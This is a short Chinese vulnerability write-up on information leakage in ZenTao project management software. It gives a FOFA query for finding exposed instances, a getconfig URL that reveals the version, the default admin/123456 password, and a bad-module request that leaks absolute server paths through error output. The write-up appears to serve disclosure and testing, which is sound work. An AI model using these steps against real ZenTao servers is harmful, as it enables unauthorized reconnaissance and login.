

C4-4禅道-InformationLeakage

漏洞描述：

禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，是一款专业的研发项目管理软件，完整地覆盖了项目管理的核心流程。禅道管理思想注重实效，功能完备丰富，操作简洁高效，界面美观大方，搜索功能强大，统计报表丰富多样，软件架构合理，扩展灵活，有完善的 API 可以调用。

网站图片：



网络测绘：

fofa语法：

body:"禅道"

漏洞复现：

- 1. 查看禅道版本信息

http://192.168.110.128/zentao/index.php?mode=getconfig

状态	方法	域名	文件	发起者
200	GET	192.168.110.128	index.php?mode=getconfig	document
404	GET	192.168.110.128	favicon.ico	FaviconLoader.jsr

- 1. 默认密码admin/123456
- 2. 绝对路径

http://192.168.110.128/zentao/sss



16:15:16 ERROR: the control file C:\Users\xiaokeping\Desktop\xampp\zentao\module\sss\contr
called by C:\Users\xiaokeping\Desktop\xampp\zentao\framework\router.class.php on line 303 th
in **C:\Users\xiaokeping\Desktop\xampp\zentao\framework\base\router.class.php** on line 22